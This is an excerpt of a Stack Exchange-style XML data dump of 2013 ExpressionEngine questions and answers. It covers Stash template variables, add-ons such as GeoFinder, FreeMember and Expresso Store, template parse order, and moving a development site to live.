  <row Id="5935" PostTypeId="2" ParentId="5909" CreationDate="2013-02-06T21:40:12.847" Score="5" Body="&lt;p&gt;A stash list is simply a serialized variable. Setting and getting a list is the same process as setting/getting a single variable, except the list has some additional processing to separate out the elements, serialize/unserialize, sort and paginate. In practice if you are not saving the variables with &lt;code&gt;save=&quot;yes&quot;&lt;/code&gt; then there is little appreciable difference in speed or memory use. However, if you are saving your variables then a list is more efficient than multiple individual variables because it requires only a single query to retrieve, regardless of how many times the list is iterated over in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option for saving multiple variables as a single cached item (especially where individual parameters are required per variable, e.g. &lt;code&gt;match&lt;/code&gt; / &lt;code&gt;against&lt;/code&gt;) is the &lt;code&gt;{exp:stash:bundle}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-06T21:40:12.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5937" PostTypeId="2" ParentId="5926" CreationDate="2013-02-06T22:27:04.433" Score="1" Body="&lt;p&gt;Ok, let's see if I understand. I try to do all my logic outside of my wrapper template whenever possible. If the content of your sidebar can change based on user choices, I would put the conditional logic in the partial template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would first build my different sidebar pieces, then assemble them using conditional logic further down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- main layout --}&#xA;{stash:embed:layouts:standard} &#xA;&#xA;{!-- main content --}&#xA;{exp:channel:entries channel=&quot;site&quot; disable=&quot;member_data|pagination&quot; category=&quot;{segment_1_category_id}&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot;}&#xA;    ...&#xA;    {exp:stash:set name=&quot;sidebar_site&quot;}{sidebar}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;sidebar_add_news&quot;}{cf_site_add_news }{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- news item for sidebar --}&#xA;{exp:stash:set_list name=&quot;sidebar_nieuws&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; replace=&quot;no&quot; refresh=&quot;240&quot; scope=&quot;site&quot;}&#xA;    {exp:channel:entries channel=&quot;nieuws&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;        {stash:nieuws_content}{cf_nieuws_content}{/stash:nieuws_content}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list} &#xA;&#xA;{!-- build sidebar --}&#xA;{exp:stash:set name=&quot;sidebar&quot;}&#xA;&#xA;    {exp:stash:sidebar_site}&#xA;&#xA;    {if &quot;{exp:stash:sidebar_add_news}&quot; == &quot;y&quot;}&#xA;        {exp:stash:get_list name=&quot;sidebar_nieuws&quot;}&#xA;            {nieuws_content}&#xA;        {/exp:stash:get_list}&#xA;    {/if}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could further optimise this using switchee or ifelse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; as suggested by Mark, using type=&quot;snippet&quot; will get you a (leaner) simple conditional &lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-06T22:32:41.940" LastActivityDate="2013-02-06T22:32:41.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5938" PostTypeId="2" ParentId="5926" CreationDate="2013-02-06T22:28:19.067" Score="1" Body="&lt;p&gt;First, capture the value of &lt;code&gt;cf_site_add_news&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;site_add_news&quot; type=&quot;snippet&quot;}{cf_site_add_news}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that setting &lt;code&gt;type=&quot;snippet&quot;&lt;/code&gt; means the variable can be evaluated as a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;simple conditional&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use a conditional in your layout like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if site_add_news == &quot;y&quot;} &#xA;{stash:nieuws}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that in a stash embed, stash variables can be accessed using the syntax &lt;code&gt;{stash:my_var}&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-06T22:28:19.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5939" PostTypeId="2" ParentId="5057" CreationDate="2013-02-06T22:45:17.897" Score="2" Body="&lt;p&gt;Steven, I would recommend using Yuri’s addon, Social Login PRO, if only for the fact that he and the EE Zoo team have worked to make them work well together. To that extent though, the documentation on ensuring a sync is a little sparse for my tastes. I do see this link: &lt;a href=&quot;http://devot-ee.com/add-ons/support/social-login-pro/viewthread/3805&quot; rel=&quot;nofollow&quot;&gt;Integration with Zoo Visitor&lt;/a&gt; that shows a bit about how to ensure the syncing isn’t a one-time deal, but as for making it happen with FBC, I’m not sure it’ll happen yet.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-02-06T22:45:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5940" PostTypeId="1" CreationDate="2013-02-07T00:13:14.810" Score="1" ViewCount="397" Body="&lt;p&gt;Just wanted to know, is it possible to let the user select a category via safecracker, by means of a grouped drop down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miatm.png&quot; alt=&quot;dropdown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where by , in this case &quot;England&quot; is the parent category, and Avon, Bedfordshire etc are the child categories. Looking to use this for users to choose the category in safecracker, and search via this method in a Low search form.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-22T11:45:40.523" Title="Showing a grouped category drop down for safecracker?" Tags="|categories|drop-down|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5941" PostTypeId="1" CreationDate="2013-02-07T00:13:50.210" Score="0" ViewCount="55" Body="&lt;p&gt;I'm trying to setup GeoFinder and I keep getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Latitude field not found, please make sure you have it entered&#xA;  correctly in the latitude parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought it would be my segments, but my url is &lt;code&gt;/site/results2/10030/1/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the code from the results page is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:geofinder:location_results channel=&quot;personal_trainer_directory&quot; status=&quot;open&quot; limit=&quot;10&quot; geoquery=&quot;{segment_3}&quot; radius=&quot;{segment_4}&quot; latitude=&quot;{latitude}&quot; longitude=&quot;{longitude}&quot; distance_mode=&quot;miles&quot; disable=&quot;&#xA;&quot;}&#xA;&#xA;{if count == 1}&#xA;&amp;lt;p&amp;gt;You searched for personal trainers within &amp;lt;strong&amp;gt;{radius}&amp;lt;/strong&amp;gt; {distance_mode} of &amp;lt;strong&amp;gt;{geoquery}&amp;lt;/strong&amp;gt;, &amp;lt;strong&amp;gt;{total_results}&amp;lt;/strong&amp;gt; personal trainers were found.&amp;lt;/p&amp;gt;&#xA;&amp;lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt;{trainer_address}&amp;lt;br/&amp;gt;{trainer_city}, {trainer_state} {trainer_zip}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;{trainer_url}&quot; title=&quot;{trainer_url}&quot;&amp;gt;{trainer_url}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;distance&quot;&amp;gt;&amp;lt;strong&amp;gt;{distance}&amp;lt;/strong&amp;gt; {distance_mode}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;{if count == total_results}&#xA;&amp;lt;/table&amp;gt;&#xA;{/if}&#xA;{if no_results}&#xA;&amp;lt;p&amp;gt;We found no personal trainers based on your search.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:geofinder:location_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2014-06-09T23:06:13.073" Title="GeoFinder Latitude Error" Tags="|add-on|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5942" PostTypeId="2" ParentId="5898" CreationDate="2013-02-07T00:23:19.270" Score="0" Body="&lt;p&gt;Per the comments, it appears this isn't a problem with your conditionals. It's a problem with the RedirectURL extension redirecting users before your page has finished parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally in EE, all plugins/tags are parsed before conditionals are applied. A plugin which drastically alters the response (such as performing a redirect) should take this into account, and use an extension hook and some cunning to perform the redirect only after the template finishes parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case, it's probably easier to find a different plugin to handle your redirects.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-07T00:23:19.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5943" PostTypeId="2" ParentId="5780" CreationDate="2013-02-07T02:29:52.797" Score="0" Body="&lt;p&gt;So it looks like we ran into this problem as the first version of Assets that was released didn't honour the settings in our config.master.php for the upload preferences array. This was fixed in Assets v2.0.2 but we had already run the update on the production database (yeah, Rookie mistake) so this is what I did to rectify.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I exported the 'exp_assets' and 'exp_assets_entries' table from&#xA;a pre Assets v2.x backup.&lt;/li&gt;&#xA;&lt;li&gt;For good measure I went into each of the 'Content &gt; Files &gt; File&#xA;Upload Preferences' and hit the update button to make sure the paths&#xA;etc are saved into the database as well as still in the config and&#xA;they match.&lt;/li&gt;&#xA;&lt;li&gt;I dropped all the Assets v2 tables from the active database that has&#xA;the messed up tables including 'exp_assets_files',&#xA;'exp_assets_folders', 'exp_assets_index_data',&#xA;'exp_assets_selections' and 'exp_assets_sources'.&lt;/li&gt;&#xA;&lt;li&gt;Imported the old Assets v1x from the old backup that I&#xA;exported in step 1 - 'exp_assets' and 'exp_assets_entries' into the&#xA;active database.&lt;/li&gt;&#xA;&lt;li&gt;Changed the version number for Assets back to v1.1.5 in&#xA;'exp_extentions', 'exp_fieldtypes' and 'exp_modules' within the&#xA;active database. This triggers Assets to run the update process on&#xA;the database tables and do all its work.&lt;/li&gt;&#xA;&lt;li&gt;From the EE CP, go to 'Add-ons &gt; Modules' and click on the 'Assets'&#xA;module - you should be presented with a warning about backing up the&#xA;database prior to running the v2.x update. Make sure you update the&#xA;database prior, then click on the 'Update' button. It will go and do&#xA;its thing and you should be presented back to Assets with all the&#xA;correct upload points presented in the left column.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Confirm the Upload Preference selection has been retained by checking an Assets custom field's settings, ie. it should be checked as it was previous to the update. Also double check the front end and be sure images are rendering, and finally edit an entry and just update it to make sure the Assets fields are sticking with the original images and not disappearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also now run your 'Update Index' inside Assets and there shouldn't be any references (or at least very little) that will appear that are suggested to be deleted (in this case I ran an update index on one and it was clean.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-02-07T02:29:52.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5944" PostTypeId="1" CreationDate="2013-02-07T03:28:01.327" Score="1" ViewCount="185" Body="&lt;p&gt;Say I force SSL on my public login page (with &lt;a href=&quot;http://dmlogic.com/add-ons/forcessl/#download&quot; rel=&quot;nofollow&quot;&gt;DM Force SSL&lt;/a&gt;), and I'm using a fairly standard freemember login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login return=&quot;PREVIOUS_URL&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;bla bla&#xA;&#xA;{/exp:freemember:login}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the login form is submitted, Safari will throw this in a dropdown sheet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This form will be sent in a way that is not secure. Are you sure you want to send it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this because freemember lacks the ability to send the form securely? (Solspace's Freeform Pro, for instance, has a &lt;code&gt;secure_action=&quot;yes&quot;&lt;/code&gt; attribute for its tags. Is there some workaround?&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-02-12T20:14:28.800" Title="Can a freemember login form be sent securely?" Tags="|freemember|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5945" PostTypeId="1" AcceptedAnswerId="5954" CreationDate="2013-02-07T03:34:04.383" Score="7" ViewCount="535" Body="&lt;p&gt;Aside from being able to edit files without the Template Manager – is there any advantage to saving templates as files in ExpressionEngine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it improve performance, security, etc.? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be grateful for a reply from a knowledgeable person. &lt;/p&gt;&#xA;" OwnerUserId="905" LastEditorUserId="905" LastEditDate="2013-02-07T12:14:32.400" LastActivityDate="2013-02-07T12:14:32.400" Title="Benefit of Saving Templates as Files" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5946" PostTypeId="1" AcceptedAnswerId="5955" CreationDate="2013-02-07T03:35:11.733" Score="3" ViewCount="667" Body="&lt;p&gt;Is there a way to force snippets or plugins to be parsed late or at least after advanced conditionals are parsed?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-07T04:03:19.907" LastActivityDate="2013-02-07T13:00:07.867" Title="Is there a way to change the parse order of snippets or plugins?" Tags="|snippets|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5947" PostTypeId="2" ParentId="5944" CreationDate="2013-02-07T03:36:37.193" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/freemember/issues/25&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aha&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Secure Form (https) - Feature Request&lt;/p&gt;&#xA;&lt;p&gt;would be great if you could specify that the form action should be secure. i did this by adding the following to the _build_form method in mod.freemember.php:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('secure_action') == 'yes')&#xA;{&#xA;$data['action'] = str_replace('http:', 'https:', $data['action']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-02-07T03:36:37.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5948" PostTypeId="1" AcceptedAnswerId="5949" CreationDate="2013-02-07T03:49:36.170" Score="0" ViewCount="212" Body="&lt;p&gt;My client has an incredibly bad habit of adding inline styles to tons of elements on the page. One of the many reasons I was hired to do this job is because of my focus on semantics, yet they still choose to do things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to strip style attributes from elements when they submit the entry? I'm currently using WYGWAM, if that helps.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-02-07T22:06:04.930" Title="Is there any way to strip inline styles added by the client?" Tags="|wygwam|editor|" AnswerCount="2" CommentCount="0" ClosedDate="2013-02-07T17:09:56.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="5949" PostTypeId="2" ParentId="5948" CreationDate="2013-02-07T04:03:26.087" Score="2" Body="&lt;p&gt;If you jump into your WYGWAM configurations, there are a few settings you can add to aid this errant behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules &gt; Wygwam &gt; Edit Configuration&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ForceAsPlainText&lt;/li&gt;&#xA;&lt;li&gt;EnterMode&lt;/li&gt;&#xA;&lt;li&gt;PasteFromWordRemoveStyles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And a few more dependent on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also am in the habit of wrapping any wygwam content inside a &lt;code&gt;&amp;lt;div class=&quot;wygwam&quot;&amp;gt;&lt;/code&gt; so I can target via CSS any stuff that makes it through.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-07T04:03:26.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5950" PostTypeId="1" CreationDate="2013-02-07T04:09:33.480" Score="2" ViewCount="73" Body="&lt;p&gt;I am trying to add UPS to a store and have it show all the UPS choices in the US and all the International choices automatically for the user. Is there a simple way to add all the UPS choices to the Checkout page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I see it looks I would need to create 10 different UPS plugins each with UPS credentials and then use jQuery to manually switch based off which country the user uses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me I am dense and missed something obvious. Thanks...&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-03-09T06:37:49.120" Title="How can I show all available UPS Shipping methods at once?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5951" PostTypeId="2" ParentId="5948" CreationDate="2013-02-07T05:28:36.907" Score="3" Body="&lt;p&gt;I'm not sure how agressive you want to get with stripping inline styles or if there are certain instances where you'd need to allow them, but you could use some simple jQuery to strip them out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like has worked for me in the past: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.wygwam p').removeAttr('style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could obviously modify this depending on the element(s) your client typically adds the styles to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about the method here: &lt;a href=&quot;http://api.jquery.com/removeAttr/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/removeAttr/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2013-02-07T22:06:04.930" LastActivityDate="2013-02-07T22:06:04.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5952" PostTypeId="2" ParentId="5893" CreationDate="2013-02-07T05:46:00.357" Score="0" Body="&lt;p&gt;I really believe your issue is with have the closing tag outside of the switchee cases. You can completely remove Switchee and use a simple conditional to show/hide the &lt;code&gt;query&lt;/code&gt; parameter since it only seems to be on a unique case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;  {if segment_2 != &quot;something&quot;}query=&quot;{segment_2}&quot;{/if}&#xA;  limit=&quot;10&quot;&#xA;  channel=&quot;foo&quot;&#xA;  paginate=&quot;bottom&quot;&#xA;  status=&quot;open&quot;&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What if you nested Switchee in between the &lt;code&gt;{exp:low_search:results}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;#some regex expressions here#&quot;}&#xA;            limit=&quot;10&quot;&#xA;            channel=&quot;foo&quot;&#xA;            paginate=&quot;bottom&quot;&#xA;            status=&quot;open&quot;&#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;            query=&quot;{segment_2}&quot;&#xA;            limit=&quot;10&quot;&#xA;            channel=&quot;foo&quot;&#xA;            paginate=&quot;bottom&quot;&#xA;            status=&quot;open&quot;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-08T13:07:40.527" LastActivityDate="2013-02-08T13:07:40.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5953" PostTypeId="2" ParentId="5950" CreationDate="2013-02-07T06:22:47.500" Score="1" Body="&lt;p&gt;You aren't missing anything obvious. It's a design flaw of our shipping plugin system that each installed instance of a shipping plugin can only return a single rate (hence the only way around this currently if you are offering both domestic and international shipping is to create multiple shipping methods using the same plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're well aware of this issue, and it will be addressed in our next major release. It will require breaking backwards compatibility with some existing checkout templates so not something we can just slip into a point release unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-07T06:22:47.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5954" PostTypeId="2" ParentId="5945" CreationDate="2013-02-07T06:24:07.087" Score="10" Body="&lt;p&gt;To rewrap your question in a &quot;pros/cons&quot; list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Editing through your favorite editor -&gt; faster&lt;/li&gt;&#xA;&lt;li&gt;Enables you to version your files with a VCS&lt;/li&gt;&#xA;&lt;li&gt;You can DIFF files&lt;/li&gt;&#xA;&lt;li&gt;Easier to maintain code markup/layout&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Slightly slower because EE needs to check the files for a new version (i guess it only uses the file versions in the latest EE releases).&lt;/li&gt;&#xA;&lt;li&gt;Could be a lot slower on a provider with a slow file system.&lt;/li&gt;&#xA;&lt;li&gt;Synchronization hassle&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For sites who need max performance I tend to work with files on my local development environment and disable &quot;save as file&quot; on the live site (sync templates first!). &lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2013-02-07T06:24:07.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5955" PostTypeId="2" ParentId="5946" CreationDate="2013-02-07T06:29:56.297" Score="4" Body="&lt;p&gt;There are plenty of plugins to mess with the parse order, but I usually try to avoid installing plugins if I can help it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution, which works in 99% of cases, is to just use an embed. Embeds are parsed after everything else, so whenever you have an early parsing issue, just throw the problem code into an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true that embeds have slightly worse performance, but most people worry about this way too soon. Don't optimize for performance until performance is a problem. &lt;a href=&quot;http://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it&quot; rel=&quot;nofollow&quot;&gt;YAGNI&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {exp:annoying_plugin parameter=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {embed=&quot;partials/.my_embed&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;partials/.my_embed&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:annoying_plugin entry_id=&quot;{embed:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-07T06:29:56.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostTypeId="1" AcceptedAnswerId="5971" CreationDate="2013-02-07T09:52:33.057" Score="4" ViewCount="3582" Body="&lt;p&gt;I'm 95% of the way through a project just now and soon I am going to have to move EE from the 'development' folder to the 'live' folder. My questions before I do this are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I just copy all the EE files from the 'development' folder to the 'live' folder and then change the paths specified in the docs? If so are all the login details the same?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to create another database or can I use the same one that is already set up?&lt;/li&gt;&#xA;&lt;li&gt;Can I keep the 'development' version where it is in case I need to do anymore development?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to EE so any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2013-02-07T14:22:00.567" Title="Move ExpressionEngine from development to live (same server)" Tags="|database|server|server-migration|staging-server|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5957" PostTypeId="1" AcceptedAnswerId="5960" CreationDate="2013-02-07T09:58:28.820" Score="2" ViewCount="73" Body="&lt;p&gt;Is it possible to go straight to the checkout page when the user adds an item to the cart?&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-07T11:40:54.663" Title="Expresso Store - Go straight to checkout when adding item to cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostTypeId="2" ParentId="5956" CreationDate="2013-02-07T11:33:42.500" Score="5" Body="&lt;p&gt;The FocusLab approach to this has become a de facto standard for what you're doing, especially long term:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-02-07T11:33:42.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostTypeId="1" AcceptedAnswerId="5966" CreationDate="2013-02-07T11:37:59.583" Score="1" ViewCount="922" Body="&lt;p&gt;I had Two-Mile redirect add-on/extension installed.&lt;/p&gt;&#xA;&lt;p&gt;I have since removed it.&lt;/p&gt;&#xA;&lt;p&gt;Now when Im trying to register a member, upon clicking the activation link, it stats&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Unable to load the following extension file:&lt;/p&gt;&#xA;&lt;p&gt;ext.twomile_login_redirect.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any idea on how I can remove it fully?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can I simply (or safely) remove these two rows from the database?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjC9S.png&quot; alt=&quot;database&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-02-07T12:26:48.637" Title="Removing an add-on/extension?" Tags="|add-on|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5960" PostTypeId="2" ParentId="5957" CreationDate="2013-02-07T11:40:54.663" Score="3" Body="&lt;p&gt;You would achieve that using the &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#return&quot; rel=&quot;nofollow&quot;&gt;return=&quot;&quot; parameter on the product tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product return=&quot;checkout&quot;}&#xA;    &amp;lt;!-- add to cart form --&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also the example templates which are installed with Store (in your &lt;code&gt;store_example&lt;/code&gt; template group, or in the &lt;code&gt;third_party/store/templates&lt;/code&gt; directory).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-07T11:40:54.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
